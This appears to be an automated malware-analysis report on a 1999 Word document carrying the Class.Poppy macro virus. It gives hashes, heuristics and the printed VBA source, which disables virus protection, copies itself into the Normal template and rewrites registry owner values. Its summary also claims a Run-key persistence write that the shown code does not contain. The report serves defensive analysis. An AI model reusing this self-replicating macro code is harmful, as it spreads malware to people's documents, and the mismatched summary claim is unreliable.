Office (OLE) malware analysis — malicious · 53e04f2799694b95

MALICIOUS

Office (OLE)

64.5 KB Created: 1999-03-03 18:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10

MD5: 2360fa5c06a1833ff3713caeb08b8e88 SHA-1: 31a96533a472cdf93caa126732eea442c0a00ad8 SHA-256: 53e04f2799694b9522c8f1834fce5133230aab7140d16357cb14e394bc3e9910

196 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, indicating a malicious intent. The VBA script attempts to disable macro security and write to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, likely to establish persistence for a second-stage payload. The document body discusses maritime collision avoidance, a common lure to disguise malicious activity.

Heuristics 5

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
    .replaceline 1, "Sub AutoClose()"
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6355 bytes
SHA-256: `00f5af061a4862662be4d0c4f6d76266b1cf8f7ff0ef951012ebea0ffe452c7f`
Detection ClamAV: Doc.Trojan.Class-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Const REG_SZ As Long = 1 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Const HKEY_CURRENT_USER As Long = &H80000001 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Const HKEY_LOCAL_MACHINE As Long = &H80000002 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Sub AutoOpen() 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc On Error GoTo out 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Options.VirusProtection = False 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Options.SaveNormalPrompt = False 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Options.ConfirmConversions = False 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If nt > 70 And ad > 0 Then GoTo out 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If nt < 70 Then 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End If 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "Class.Poppy" 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc host.codemodule.AddFromFile ("c:\class.sys") 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc With host.codemodule 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc For x = 1 To 16 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .deletelines 1 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Next x 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End With 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If nt < 70 Then 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc With host.codemodule 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .replaceline 1, "Sub AutoClose()" 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .replaceline 91, "Sub ToolsMacro()" 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc For x = 70 To 81 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .deletelines 62 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Next x 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .replaceline 35, " For x = 1 To 4" 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End With 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End If 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If nt < 70 Then 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, k) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc u = RegSetValueExA(k, "RegisteredOwner", 0, REG_SZ, "VicodinES /CB /TNN", 1) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc u = RegSetValueExA(k, "RegisteredOrganization", 0, REG_SZ, "-(Dr. Diet Mountain Dew)-", 1) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc u = RegCloseKey(k) 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End If 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc With host.codemodule 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc For x = 2 To 104 Step 2 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Next x 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End With 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc out: 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End Sub 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc Sub ViewVBCode() 'Catedra Navigatie03.03.1999 20:20:02Star NX-1500 on LPT1:EAImedia.doc End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.